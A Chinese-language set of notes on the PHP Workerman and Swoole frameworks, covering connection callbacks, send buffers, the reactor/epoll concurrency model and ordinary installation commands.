【 onWorkerStart 】 callback Worker::$onWorkerStart 设置Worker子进程启动时的回调函���,每个子进程启动时都会执行。 onWorkerStart是在子进程启动时运行的,如果开启了多个子进程($worker->count > 1),每个子进程运行一次,则总共会运行$worker->count次。 回调函数的参数为$worker,即new的Worker对象
【 onWorkerReload 】 callback Worker::$onWorkerReload 此特性不常用到,设置Worker收到reload信号后执行的回调。 可以利用onWorkerReload回调做很多事情,例如在不需要重启进程的情况下重新加载业务配置文件。 子进程收到reload信号默认的动作是退出重启,以便新进程重新加载业务代码完成代码更新,所以reload后子进程在执行完onWorkerReload回调后便立刻退出是正常现象。 如果在收到reload信号后只想让子进程执行onWorkerReload但不退出,可以在初始化Worker实例时设置对应的Worker实例的reloadable属性为false。 回调函数的参数为$worker,即new的Worker对象
【 onConnect 】 callback Worker::$onConnect 当客户端与Workerman建立连接时(TCP三次握手完成后)触发的回调函数。每个连接只会触发一次onConnect回调。 onConnect事件仅仅代表客户端与Workerman完成了TCP三次握手,这时客户端还没有发来任何数据,此时除了通过$connection->getRemoteIp()获得对方ip,没有其他可以鉴别客户端的数据或信息,所以在onConnect事件里无法确认对方是谁。要想知道对方是谁,需要客户端发送鉴权数据,例如某个token或用户名密码之类,在onMessage回调里做鉴权。 回调函数的参数 $connection是连接对象,即TcpConnection实例,用于操作客户端连接,如发送数据,关闭连接等
【 onMessage 】
callback Worker::$onMessage
当客户端通过连接发来数据时(Workerman收到数据时)触发的回调函数
回调函数的参数
$connection是连接对象,即TcpConnection实例,用于操作客户端连接,如发送数据,关闭连接等
$data是客户端连接上发来的数据,如果Worker指定了协议,则$data是对应协议decode(解码)了的数据
【 onClose 】
callback Worker::$onClose
当客户端连接与Workerman断开时触发的回调函数。不管连接是如何断开的,只要断开就会触发onClose。每个连接只会触发一次onClose。
如果对端是由于断网或断电等极端情况断开的连接,这时由于无法及时发送tcp的fin包给workerman,workerman就无法得知连接已经断开,也就无法及时触发onClose。这种情况需要通过应用层心跳来解决。workerman中连接的心跳实现参见这里。如果使用的是GatewayWorker框架,则直接使用GatewayWorker框架的心跳机制即可
回调函数的参数
$connection是连接对象,即TcpConnection实例,用于操作客户端连接,如发送数据,关闭连接等
$worker->onClose = function($connection){
echo "connection closed\n";
};
长连接应用必须加心跳,否则连接可能由于长时间未通讯被路由节点强行断开。 心跳作用主要有两个: 1、客户端定时给服务端发送点数据,防止连接由于长时间没有通讯而被某些节点的防火墙关闭导致连接断开的情况。 2、服务端可以通过心跳来判断客户端是否在线,如果客户端在规定时间内没有发来任何数据就认为客户端下线。这样可以检测到客户端由于极端情况(断电、断网等)下线的事件。 建议客户端发送心跳间隔小于60秒,比如55秒。配置客户端超过55秒没有发送任何数据给服务端则认为客户端已经掉线,服务端关闭连接并触发onClose
【 onBufferFull 】
callback Worker::$onBufferFull
每个连接都有一个单独的应用层发送缓冲区,如果客户端接收速度小于服务端发送速度,数据会在应用层缓冲区暂存,如果缓冲区满则会触发onBufferFull回调。
缓冲区大为TcpConnection::$maxSendBufferSize,默认值为1MB,可以为当前连接动态设置缓冲区大小例如:
$connection->maxSendBufferSize = 102400; // 设置当前连接发送缓冲区,单位字节
也可以利用TcpConnection::$defaultMaxSendBufferSize 设置所有连接默认缓冲区的大小,例如代码:
use Workerman\Connection\TcpConnection;
TcpConnection::$defaultMaxSendBufferSize = 2*1024*1024; // 设置所有连接的默认应用层发送缓冲区大小,单位字节
该回调可能会在调用Connection::send后立刻被触发,比如发送大数据或者连续快速的向对端发送数据,由于网络等原因数据被大量积压在对应连接的发送缓冲区,当超过TcpConnection::$maxSendBufferSize上限时触发。
当发生onBufferFull事件时,开发者一般需要采取措施,例如停止向对端发送数据,等待发送缓冲区的数据被发送完毕(onBufferDrain事件)等。
当调用Connection::send($A)后导致触发onBufferFull时,不管本次send的数据$A多大,即使大于TcpConnection::$maxSendBufferSize,本次要发送的数据仍然会被放入发送缓冲区。也就是说发送缓冲区实际放入的数据可能远远大于TcpConnection::$maxSendBufferSize,当发送缓冲区的数据已经大于TcpConnection::$maxSendBufferSize时,仍然继续Connection::send($B)数据,则这次send的$B数据不会放入发送缓冲区,而是被丢弃掉,并触发onError回调。
总结来说,只要发送缓冲区还没满,哪怕只有一个字节的空间,调用Connection::send($A)肯定会把$A放入发送缓冲区,如果放入发送缓冲区后,发送缓冲区大小超过了TcpConnection::$maxSendBufferSize限制,则会触发onBufferFull回调。
回调函数的参数
$connection是连接对象,即TcpConnection实例,用于操作客户端连接,如发送数据,关闭连接等
$worker->onBufferFull = function($connection){
echo "bufferFull and do not send again\n";
};
【 onBufferDrain 】
callback Worker::$onBufferDrain
每个连接都有一个单独的应用层发送缓冲区,缓冲区大小由TcpConnection::$maxSendBufferSize决定,默认值为1MB,可以手动设置更改大小,更改后会对所有连接生效。
该回调在应用层发送缓冲区数据全部发送完毕后触发。一般与onBufferFull配合使用,例如在onBufferFull时停止向对端继续send数据,在onBufferDrain恢复写入数据。
回调函数的参数
$connection是连接对象,即TcpConnection实例,用于操作客户端连接,如发送数据,关闭连接等
$worker->onBufferFull = function($connection){
echo "bufferFull and do not send again\n";
};
$worker->onBufferDrain = function($connection){
echo "buffer drain and continue send\n";
};
【 onError 】
callback Worker::$onError
当客户端的连接上发生错误时触发。
目前错误类型有
1、调用Connection::send由于客户端连接断开导致的失败(紧接着会触发onClose回调) (code:WORKERMAN_SEND_FAIL msg:client closed)
2、在触发onBufferFull后(发送缓冲区已满),仍然调用Connection::send,并且发送缓冲区仍然是满的状态导致发送失败(不会触发onClose回调)(code:WORKERMAN_SEND_FAIL msg:send buffer full and drop package)
3、使用AsyncTcpConnection异步连接失败时(紧接着会触发onClose回调) (code:WORKERMAN_CONNECT_FAIL msg:stream_socket_client返回的错误消息)
回调函数的参数
$connection是连接对象,即TcpConnection实例,用于操作客户端连接,如发送数据,关闭连接等
$code是错误码
$msg是错误消息
$worker->onError = function($connection,$code,$msg){
echo "error $code $msg\n";
};
worker类的接口
【 runAll 】 void Worker::runAll(void) 运行所有Worker实例,无参数,无返回 Worker::runAll()执行后将永久阻塞,也就是说位于Worker::runAll()后面的代码将不会被执行。所有Worker实例化应该都在Worker::runAll()前进行。 windows版本的workerman不支持在同一个文件中实例化多个Worker,需要将多个Worker实例初始化放在不同的文件中
【 stopAll 】 void Worker::stopAll(void) 停止当前进程(子进程)的所有Worker实例并退出。无参数,无返回 此方法用于安全退出当前子进程,作用相当于调用exit/die退出当前子进程。 与直接调用exit/die区别是,直接调用exit或者die无法触发onWorkerStop回调,并且会导致一条WORKER EXIT UNEXPECTED错误日志。max_request,子进程每处理完1000个请求后执行stopAll退出,以便重新启动一个全新进程。类似php-fpm的max_request属性,主要用于解决php业务代码bug引起的内存泄露问题
【listen】 void Worker::listen(void) 用于实例化Worker后执行监听。 此方法主要用于在Worker进程启动后动态创建新的Worker实例,能够实现同一个进程监听多个端口,支持多种协议用这种方法只是在当前进程增加监听,并不会动态创建新的进程,也不会触发onWorkerStart方法。 例如一个http Worker启动后实例化一个websocket Worker,那么这个进程即能通过http协议访问,又能通过websocket协议访问。由于websocket Worker和http Worker在同一个进程中,所以它们可以访问共同的内存变量,共享所有socket连接。可以做到接收http请求,然后操作websocket客户端完成向客户端推送数据类似的效果。 如果PHP版本<=7.0,则不支持在多个子进程中实例化相同端口的Worker。例如A进程创建了监听2016端口的Worker,那么B进程就不能再创建监听2016端口的Worker,否则会报Address already in use错误下面的代码是无法运行如果PHP版本>=7.0可以设置Worker->reusePort=true,这样可以做到多个子进程创建相同端口的Workerphp后端及时推送消息给客户端
TcpConnection类
每个客户端连接对应一个Connection对象,可以设置对象的onMessage、onClose等回调,同时提供了向客户端发送数据send接口与关闭连接close接口,及其它一些必要的接口。 可以说Worker是一个监听容器,负责接受客户端连接,并把连接包装成connection对象式提供给开发者操作。
TcpConnection类属性
【 id 】
int Connection::$id
连接的id。这是一个自增的整数。
workerman是多进程的,每个进程内部会维护一个自增的connection id,所以多个进程之间的connection id会有重复。 如果想要不重复的connection id,可以根据需要给connection->id重新赋值,例如加上worker->id前缀。
$worker->onConnect = function($connection){
echo $connection->id;
};
【 protocol 】
string Connection::$protocol
设置当前连接的协议类
$worker->onConnect = function($connection){
$connection->protocol = 'Workerman\\Protocols\\Http';
};
$worker->onMessage = function($connection,$data){
var_dump($_GET,$_POST);
$connection->send("hello"); // send 时会自动调用$connection->protocol::encode(),打包数据后再发送
};
【 worker 】
Worker Connection::$worker
此属性为只读属性,即当前connection对象所属的worker实例
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onMessage = function($connection,$data){ // 当一个客户端发来数据时,转发给当前进程所维护的其它所有客户端
foreach($connection->worker->connections as $con){
$con->send($data);
}
};
【 maxSendBufferSize 】
int Connection::$maxSendBufferSize
每个连接都有一个单独的应用层发送缓冲区,如果客户端接收速度小于服务端发送速度,数据会在应用层缓冲区暂存等待发送。
此属性用来设置当前连接的应用层发送缓冲区大小。不设置默认为Connection::defaultMaxSendBufferSize(1MB)。
此属性影响onBufferFull回调。
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onConnect = function($connection){
$connection->maxSendBufferSize = 102400; // 设置当前连接的应用层发送缓冲区大小为102400字节
};
【 defaultMaxSendBufferSize 】
static int Connection::$defaultMaxSendBufferSize
此属性为全局静态属性,用来设置所有连接的默认应用层发送缓冲区大小。不设置默认为1MB。 Connection::$defaultMaxSendBufferSize可以动态设置,设置后只对之后产生的新连接有效
此属性影响onBufferFull回调。
// 设置所有连接的默认应用层发送缓冲区大小
TcpConnection::$defaultMaxSendBufferSize = 2*1024*1024;
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onConnect = function($connection){
$connection->maxSendBufferSize = 4*1024*1024; // 设置当前连接的应用层发送缓冲区大小,会覆盖掉默认值
};
【 maxPackageSize 】
static int Connection::$maxPackageSize
此属性为全局静态属性,用来设置每个连接能够接收的最大包包长。不设置默认为10MB。
如果发来的数据包解析(协议类的input方法返回值)得到包长大于Connection::$maxPackageSize,则会视为非法数据,连接会断开。
// 设置每个连接接收的数据包最大为1024000字节
TcpConnection::$maxPackageSize = 1024000;
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onMessage = function($connection,$data){
$connection->send('hello');
};
TcpConnection类回调属性
【 onMessage 】 callback Connection::$onMessage 作用与Worker::$onMessage回调相同,区别是只针对当前连接有效,也就是可以针对某个连接的设置onMessage回调。 【 onClose 】 callback Connection::$onClose 此回调与Worker::$onClose回调作用相同,区别是只针对当前连接有效,也就是可以针对某个连接的设置onClose回调。 【 onBufferFull 】 callback Connection::$onBufferFull 作用与Worker::$onBufferFull回调相同,区别是只针对当前连接起作用,即可以单独设置某个连接的onBufferFull回调 【 onBufferDrain 】 callback Connection::$onBufferDrain 作用与Worker::$onBufferDrain回调相同,区别是只针对当前连接起作用,即可以单独设置某个连接的onBufferDrain回调 【 onError 】 callback Connection::$onError 作用与Worker::$onError回调相同,区别是只针对当前连接起作用,即可以单独设置某个连接的onError回调
TcpConnection类接口
【 send 】
mixed Connection::send(mixed $data [,$raw = false])
向客户端发送数据
参数$data表示要发送的数据,如果在初始化Worker类时指定了协议则会自动调用协议的encode方法,完成协议打包工作后发送给客户端
参数$raw表示是否发送原始数据,即不调用协议的encode方法,默认是false,即自动调用协议的encode方法
返回值
true 表示数据已经成功写入到该连接的操作系统层的socket发送缓冲区
null 表示数据已经写入到该连接的应用层发送缓冲区,等待向系统层socket发送缓冲区写入
false 表示发送失败,失败原因可能是客户端连接已经关闭,或者该连接的应用层发送缓冲区已满
send返回true,仅仅代表数据已经成功写入到该连接的操作系统socket发送缓冲区,并不意味着数据已经成功的发送给对端socket接收缓冲区,更不意味着对端应用程序已经从本地socket接收缓冲区读取了数据。不过即便如此,只要send不返回false并且网络没有断开,而且客户端接收正常,数据基本上可以看做100%能发到对方的。
由于socket发送缓冲区的数据是由操作系统异步发送给对端的,操作系统并没有给应用层提供相应确认机制,所以应用层无法得知socket发送缓冲区的数据何时开始发送,应用层更无法得知socket发送缓冲区的数据是否发送成功。基于以上原因workerman无法直接提消息确认接口。
如果业务需要保证每个消息客户端都收到,可以在业务上增加一种确认机制。确认机制可能根据业务不同而不同,即使同样的业务确认机制也可以有多种方法。
例如聊天系统可以用这样的确认机制。把每条消息都存入数据库,每条消息都有一个是否已读字段。客户端每收到一条消息向服务端发送一个确认包,服务端将对应消息置为已读。当客户端连接到服务端时(一般是用户登录或者断线重连),查询数据库是否有未读的消息,有的话发给客户端,同样客户端收到消息后通知服务端已读。这样可以保证每个消息对方都能收到
【 getRemoteIp 】
string Connection::getRemoteIp()
获得该连接的客户端ip
【 getRemotePort 】
int Connection::getRemotePort()
获得该连接的客户端端口
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onConnect = function($connection){
echo "new connection from address " .
$connection->getRemoteIp() . ":". $connection->getRemotePort() ."\n";
}
【 close 】
void Connection::close(mixed $data = '')
安全的关闭连接.
调用close会等待发送缓冲区的数据发送完毕后才关闭连接,并触发连接的onClose回调。
参数$data是可选参数,要发送的数据(如果有指定协议,则会自动调用协议的encode方法打包$data数据),当数据发送完毕后关闭连接,随后会触发onClose回调
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onMessage = function($connection,$data){
$connection->close("hello\n");
};
【 destroy 】
void Connection::destroy()
立刻关闭连接。
与close不同之处是,调用destroy后即使该连接的发送缓冲区还有数据未发送到对端,连接也会立刻被关闭,并立刻触发该连接的onClose回调。
$worker = new Worker('websocket://0.0.0.0:8484');
$worker->onMessage = function($connection,$data){
// if something wrong
$connection->destroy();
};
【 pauseRecv 】
void Connection::pauseRecv(void)
使当前连接停止接收数据。该连接的onMessage回调将不会被触发。此方法对于上传流量控制非常有用
【 resumeRecv 】 void Connection::resumeRecv(void) 使当前连接继续接收数据。此方法与Connection::pauseRecv配合使用,对于上传流量控制非常有用
【 pipe 】 void Connection::pipe(TcpConnection $target_connection) 参数表示将当前连接的数据流导入到目标连接。内置了流量控制。此方法做TCP代理非常有用TCP代理
异步通信框架 swoole
php扩展(Extension)是用C语言作为开发语言,基于Zend引擎提供的API,编译成的一个动态库。 在php的配置文件中配置好extension的属性后就可以引用这个动态库 swoole的许多功能都只能运行在cli模式下 最常见的php代码执行方式: 1、安装apache、php 2、配置apache对那个目录进行php解析 3、用浏览器访问那个目录的php文件 php是脚本语言,脚本语言的核心特点是不用编译,随时执行,而执行脚本的工具就是解析器,而php的解析器就是zend引擎。 只要有解析器,写好的php脚本就是可以执行的,而zend引擎与apache之间并没有绝对的关系 实际上apahce是调用了zend对php脚本进行执行,然后将执行结果输出给了浏览器 cli模式(CommandLine,命令行模式)是在命令行下直接调用zend引擎对php脚本进行解析并执行,并获得程序输出结果的php脚本执行方式 php也可以作为shell脚本来使用,就像bash shell一样 安装好php后找到php的安装目录,如果是默认安装可以用whereis、locate、where、find命令查找 > /usr/local/bin/php; 然后写一个最经典的php脚本,编写纯php脚本时,php标签不要封口 //vi hello_cli.php < ?php echo 'Hello PHP Cli'; 然后在shell里执行它: /usr/local/bin/php hello_cli.php > Hello PHP Cli 默认php都会被安装在了$PATH的目录下,可以直接省略路径前缀 这段代码中的第一个php,是一个可执行文件,接受一个php脚本文件作为输入参数,并通过zend解析执行这个php脚本文件 简单LAMP环境中基于HTTP协议的Web服务的交互逻辑: 1、客户端(浏览器)将请求提交给指定IP的主机。 2、操作系统根据请求中的PORT,转交给监听了这个PORT的Apache。 3、Apache根据配置找到合适的目录,并获取目录中的PHP脚本。 4、Apache调用Zend对该PHP脚本进行解析,并获得输出结果。 5、将输出结果返回给客户端 一般情况下PHP脚本的工作就在第四步中处理具体业务,至于怎么与浏览器保持通信,PHPer一般是不关心的,直到Swoole重新定义了PHP。 Swoole允许通过PHP构造一个新的Server,提供跟Apache类似的功能,监听请求,作出响应 运行Swoole Server时会跟Apache\Nginx冲突就是因为用PHP写的不再只是网页的业务逻辑,同时也包括Server的部分 swoole_server只能运行在cli模式下,SwooleServer已经是一个独立的服务了,它不再依赖于Apache,它本身就是一个完整的网络Server,所以它需要运行在cli模式下,同时也不需要通过浏览器访问的方式执行了。 【 swoole 】 swoole是运行在PHP下的一个extesion扩展,实际上与普通的扩展不同。普通的扩展只是提供一个库函数。而swoole扩展在运行后会接管PHP的控制权,进入事件循环。当IO事件发生后,swoole会自动回调指定的PHP函数。 swoole就是个披了php外衣的nginx,大量的功能都是用c来实现。一些功能的调用其实并没php什么事,它只是个纯粹的胶水,有什么功能全用c在实现,然后执行完成再回调给php。 所以相当于在用php语法来写底层的c服务,并不需要了解底层的实现逻辑,会用php就足够了 PHP的异步、并行、高性能网络通信引擎,使用纯C语言编写,提供了PHP语言的异步多线程服务器,异步TCP/UDP网络客户端,异步MySQL,异步Redis,数据库连接池,AsyncTask,消息队列,毫秒定时器,异步文件读写,异步DNS查询。Swoole内置了Http/WebSocket服务器端/客户端、Http2.0服务器端。 Swoole可以广泛应用于互联网、移动通信、企业软件、网络游戏、物联网、车联网、智能家庭等领域。使用PHP+Swoole作为网络通信框架,可以使企业IT研发团队的效率大大提升,更加专注于开发创新产品。 Swoole底层内置了异步非阻塞、多线程的网络IO服务器。PHP程序员仅需处理事件回调即可,无需关心底层。与Nginx/Tornado/Node.js等全异步的框架不同,Swoole既支持全异步,也支持同步。 Swoole是开源免费的自由软件,授权协议是Apache2.0,企业和个人开发者均可免费使用Swoole的代码,并且在Swoole之上所作的修改可用于商业产品,无需开源,必须保留原作者的版权声明 【 swoole提供的功能库 】 1、http服务,编写一个简单的web server 2、TCP/UDP服务,编写一个消息接受处理系统 3、异步的处理请求 4、并发的处理同一个业务逻辑 5、socket通讯处理技术 6、毫秒级别定时器 7、协程,相比线程更稳定和好用。 如果业务中有用到以上等特性,又在用使用php,那么完全可以用swoole来完成 【 Swoole包含模块 】 swoole_server 强大的TCP/UDP Server框架,多线程,EventLoop,事件驱动,异步,Worker进程组,Task异步任务,毫秒定时器,SSL/TLS隧道加密。 swoole_http_server是swoole_server的子类,内置了Http的支持 swoole_websocket_server是swoole_http_server的子类,内置了WebSocket的支持 swoole_redis_server是swoole_server的子类,内置了Redis服务器端协议的支持 子类可以调用父类的所有方法和属性 swoole_client TCP/UDP/UnixSocket客户端,支持IPv4/IPv6,支持SSL/TLS隧道加密,支持SSL双向证书,支持同步并发调用,支持异步事件驱动编程 swoole_event EventLoop API,让用户可以直接操作底层的事件循环,将socket、stream、管道等Linux文件加入到事件循环中。 eventloop接口仅可用于socket类型的文件描述符,不能用于磁盘文件读写 swoole_async 异步IO接口,提供了异步文件系统IO,定时器,异步DNS查询,异步MySQL等API,异步Http客户端,异步Redis客户端 swoole_timer 异步毫秒定时器,可以实现间隔时间或一次性的定时任务 swoole_async_read/swoole_async_write 文件系统操作的异步接口 Coroutine Swoole在2.0开始内置协程(Coroutine)的能力,提供了具备协程能力IO接口(统一在命名空间Swoole\Coroutine*)。 协程可以理解为纯用户态的线程,其通过协作而不是抢占来进行切换。相对于进程或线程,协程所有的操作都可以在用户态完成,创建和切换的消耗更低。Swoole可以为每一个请求创建对应的协程,根据IO的状态来合理的调度协程,这会带来了以下优势: 开发者可以无感知的用同步的代码编写方式达到异步IO的效果和性能,避免了传统异步回调所带来的离散的代码逻辑和陷入多层回调中导致代码无法维护。 同时由于swoole是在底层封装了协程,所以对比传统的php层协程框架,开发者不需要使用yield关键词来标识一个协程IO操作,所以不再需要对yield的语义进行深入理解以及对每一级的调用都修改为yield,这极大的提高了开发效率。 swoole_process 进程管理模块,可以方便的创建子进程,进程间通信,进程管理。 swoole_buffer 强大的内存区管理工具,像C一样进行指针计算,又无需关心内存的申请和释放,而且不用担心内存越界,底层全部做好了。 swoole_table 基于共享内存和自旋锁实现的超高性能内存表。彻底解决线程、进程间数据共享、加锁同步等问题,swoole_table的性能可以达到单线程每秒读写50W次 【 Swoole的实现 】 swoole使用纯C编写,不依赖其他第三方库。 swoole并没有用libevent,所以不需要安装libevent swoole并不依赖php的stream/sockets/pcntl/posix/sysvmsg等扩展 socket部分:swoole使用底层的socket系统调用 IO事件循环 主进程的事件循环使用select/poll,因为主线程中的文件描述符只有几个,使用select/poll即可 reactor线程/worker进程中使用epoll/kqueue task进程没有事件循环,进程会循环阻塞读取管道 查看swoole主进程:strace -f -p 多进程/多线程 多进程使用fork()系统调用 多线程使用pthread线程库 EventFd Swoole中使用了eventfd作为线程/进程间消息通知的机制。 Timerfd Swoole使用timerfd来实现定时器 SIgnalfd swoole中使用了signalfd来实现对信号的屏蔽和处理。可以有效地避免线程/进程被信号打断,系统调用restart的问题。在主进程中reactor线程不会接受任何信号。
swoole框架
常用的原生集成swoole的框架,如swoft, easySwoole与hyperf 非原生支持swoole的框架,如YII或Laravel Hyperf 是基于 Swoole 4.5+ 实现的高性能、高灵活性的 PHP 协程框架,内置协程服务器及大量常用的组件,性能较传统基于 PHP-FPM 的框架有质的提升,提供超高性能的同时,也保持着极其灵活的可扩展性,标准组件均基于 PSR 标准 实现,基于强大的依赖注入设计,保证了绝大部分组件或类都是 可替换 与 可复用 的。
nginx、swoole高并发原理初探
【 同步与异步 】 同步与异步的重点在消息通知的方式上,也就是调用结果通知的方式。 同步: 当一个同步调用发出去后,调用者要一直等待调用结果的通知后才能进行后续的执行 异步: 当一个异步调用发出去后,调用者不能立即得到调用结果的返回。 异步调用要想获得结果一般有两种方式: 1、主动轮询异步调用的结果; 2、被调用方通过callback来通知调用方调用结果。 【 阻塞与非阻塞 】 阻塞与非阻塞的重点在于进/线程等待消息时候的行为,即在等待消息时当前进/线程是挂起状态还是非挂起状态。 阻塞: 阻塞调用在发出去后,在消息返回之前,当前进/线程会被挂起,直到有消息返回,当前进/线程才会被激活. 非阻塞: 非阻塞调用在发出去后,不会阻塞当前进/线程,而会立即返回 4种组合方式 同步阻塞: 小明在柜台干等着拿奶茶; 同步非阻塞: 小明在柜台边刷微博边等着拿奶茶; 异步阻塞: 小明拿着小票啥都不干,一直等着店员通知他拿奶茶; 异步非阻塞: 小明拿着小票,刷着微博,等着店员通知他拿奶茶。 【 Apache面对高并发为什么很无力 】 Apache处理一个请求是同步阻塞的模式,Apache是同步阻塞的多进程模式,面对高并发等一些场景是很苍白的 每到达一个请求Apache都会去fork一个子进程去处理这个请求,直到这个请求处理完毕。 对低并发这种模式没什么缺点,但对高并发就是这种模式的软肋了。 1个客户端占用1个进程,那么进程数量有多少,并发处理能力就有多少,但操作系统可以创建的进程数量是有限的。 多进程就会有进程间的切换问题,而进程间的切换调度势必会造成CPU的额外消耗。当进程数达到成千上万时进程间的切换就占了CPU大部分的时间片,而真正进程的执行反而占了CPU的一小部分 举例说明这2种场景是多进程模式的软肋: 1、及时消息通知程序比如及时聊天程序,一台服务器可能要维持数十万的连接(典型的C10K问题),那么就要启动数十万的进程来维持,这显然不可能。 2、调用外部Http接口时假设Apache启动100个进程来处理请求,每个请求消耗100ms,那么这100个进程能提供1000qps。但在调用外部Http接口时,比如QQ登录、微博登录,耗时较长,假设一个请求消耗10s,也就是1个进程1s处理0.1个请求,那么100个进程只能达到10qps,这样的处理能力就未免太差了。 什么是C10K问题? 网络服务在处理数以万计的客户端连接时,往往出现效率低下甚至完全瘫痪,这被称为C10K问题。(concurrent 10000 connection) 【 Nginx何以问鼎高并发 】 I/O复用技术可以在一个进程处理所有的并发I/O,即多个I/O可以复用一个进程。 同步阻塞的多进程模型不适合处理高并发,那么再来考虑非阻塞的方式。 采用非阻塞的模式,当一个连接过来时不阻塞住,这样一个进程可以同时处理多个连接了。 比如一个进程接受了10000个连接,这个进程每次从头到尾的问一遍这10000个连接: "有I/O事件没?有的话就交给我处理,没有的话我一会再来问一遍" 然后进程就一直从头到尾问这10000个连接,如果这1000个连接都没有I/O事件就会造成CPU的空转,并且效率也很低 升级版的I/O复用 上面虽然实现了基础版的I/O复用,但效率太低了。能不能引入一个代理,这个代理可以同时观察许多I/O流事件呢?当没有I/O事件的时候这个进程处于阻塞状态;当有I/O事件的时候这个代理就去通知进程醒来? 于是早期的程序猿们发明了两个代理---select、poll。 select、poll代理的原理: 当连接有I/O流事件产生时就会去唤醒进程去处理,只不过select只能观察1024个连接,poll可以观察无限个连接 但进程并不知道是哪个连接产生的I/O流事件,于是进程就挨个去问: "请问是你有事要处理吗?"问了99999遍,原来是第100000个进程有事要处理。那么前面这99999次就白问了,白白浪费宝贵的CPU时间片了,性能也挺不好的。 如果发明一个代理,每次能够知道哪个连接有了I/O流事件,不就可以避免无意义的空转了吗?于是epoll被伟大的程序员发明出来了。 epoll代理的原理: 当连接有I/O流事件产生的时候,epoll就会去告诉进程哪个连接有I/O流事件产生,然后进程就去处理这个进程。 基于epoll的Nginx 有了epoll,理论上1个进程就可以无限数量的连接,且无需轮询,真正解决了c10k的问题。 Nginx是基于epoll的异步非阻塞的服务器程序,自然Nginx能够轻松处理百万级的并发连接 【 swoole如何处理高并发以及异步I/O的实现 】 IO复用异步非阻塞程序使用经典的Reactor(反应堆)模型,它本身不处理任何数据收发,只是可以监视一个socket(或管道、eventfd、信号)句柄的事件变化。 句柄handler也就是资源的唯一标识符、资源的ID,通过这个ID可以操作资源。 Reactor只是一个事件发生器,实际对socket句柄的操作,如connect/accept、send/recv、close是在callback中完成的 swoole采用多线程Reactor+多进程Worker
当请求到达时swoole是这样处理的: 1、请求到达Main Reactor 2、Main Reactor根据Reactor的情况,将请求注册给对应的Reactor,每个Reactor都有epoll,用来监听客户端的变化 3、客户端有变化时交给worker来处理 4、worker处理完毕,通过进程间通信(比如管道、共享内存、消息队列)发给对应的reactor。 5、reactor将响应结果发给相应的连接 6、请求处理完成 因为reactor基于epoll,所以每个reactor可以处理无数个连接请求。 如此swoole就轻松的处理了高并发 【 swoole如何实现异步I/O 】 swoole的worker进程有2种类型: 一种是普通的worker进程,一种是task worker进程。 worker进程是用来处理普通的耗时不是太长的请求 task worker进程用来处理耗时较长的请求,比如数据库的I/O操作。 以异步Mysql举例: 1、耗时较长的Mysql查询进入worker 2、worker通过管道将这个请求交给taskworker来处理,worker再去处理其他请求 3、task worker处理完毕后,处理结果通过管道返回给worker 4、worker将结果返回给reactor 5、reactor将结果返回给请求方 如此通过worker、task worker结合的方式就实现了异步I/O
快速安装
查看已安装的swoole版本
php --ri swoole
php --info
phpinfo();
【 pecl安装,Install via pecl - 不推荐,坑多 】
swoole是pecl的项目,所以用pecl安装是最简单的方法,pecl工具基本都会被安装在与php相同的目录,往往也是$PATH目录
swoole项目已收录到PHP官方扩展库,除了手工下载编译外,还可以通过PHP官方提供的pecl命令,一键下载安装swoole
pecl install swoole
【 编译安装,Install from source 】
Swoole扩展是按照php标准扩展构建的。使用phpize来生成php编译配置,./configure来做编译配置检测,make进行编译,make install进行安装
1. 下载swoole源码
https://github.com/swoole/swoole-src/releases
http://pecl.php.net/package/swoole
http://git.oschina.net/swoole/swoole
2. 从源码编译安装
下载源代码包后,在终端进入源码目录,执行下面的命令进行编译和安装
ubuntu 没有安装 phpize 可执行命令: sudo apt-get install php-dev 来安装 phpize
cd swoole-src && \
phpize && \
./configure && \
make && sudo make install
Copy to clipboardErrorCopied
3. 启用扩展
编译安装到系统成功后,需要在php.ini中加入extension=swoole.so启用Swoole扩展
wget -c https://pecl.php.net/get/swoole-4.0.3.tgz // 选择最新的4.0.3版本下载
tar -zvxf swoole-4.0.3.tgz // 解压
cd swoole-4.0.3 // 目录切换到解压完成的包里面
git clone https://github.com/swoole/swoole-src.git && cd swoole-src && phpize && ./configure && make && make install
/usr/local/php/bin/phpize // 通过phpize建立php的外挂模块
./configure --with-php-config=/usr/local/php/bin/php-config && make && make install // 配置编译安装
将扩展extension=swoole.so添加到 /usr/local/php/etc/php.ini 中,找到php.ini所在位置
重启
lnmp restart
或者
/etc/init.d/php-fpm restart
service php-fpm restart
通过php -m或phpinfo()来查看是否成功加载了swoole,如果没有可能是php.ini的路径不对,可以使用php -i |grep php.ini来定位到php.ini的绝对路径
参考以下命令:
PHP-FPM状态管理: /etc/init.d/php-fpm {start|stop|quit|restart|reload|logrotate}
Nginx状态管理: /etc/init.d/nginx {start|stop|reload|restart}
MySQL状态管理: /etc/init.d/mysql {start|stop|restart|reload|force-reload|status}
Memcached状态管理: /etc/init.d/memcached {start|stop|restart}
PureFTPd状态管理: /etc/init.d/pureftpd {start|stop|restart|kill|status}
ProFTPd状态管理: /etc/init.d/proftpd {start|stop|restart|reload}
Redis状态管理: /etc/init.d/redis {start|stop|restart|kill}
docker swoole
swoole官方镜像 docker pull phpswoole/swoole docker run --rm phpswoole/swoole "php -m" docker run --rm phpswoole/swoole "php --ri swoole" docker run --rm phpswoole/swoole "composer --version" https://github.com/swoole/docker-swoole, various examples included under folder "examples/" to help developers better use the image ./bin/example.sh start 00 # To start container(s) of the first example. ./bin/example.sh stop 00 # To stop container(s) of the first example. ./bin/example.sh restart 00 # To restart container(s) of the first example.Dockerfile
【 dnmp 】 https://github.com/yeszao/dnmp 【 自定义php+swoole的Docker环境 】 github auto_cmp_php_docker_server # 运行容器,映射端口:9501,存储卷 宿主机当前目录:容器/root,准备好后运行 php7 /root/test_swoole_server.php docker run -ti -p 9501:9501 -v `pwd`:/root/www -d cmptech/auto_cmp_php_docker_server php7 /root/test_swoole_server.php制作php+swoole的Docker环境 Dockerfile wsl ubuntu18 php-fpm
Swoole编程须知
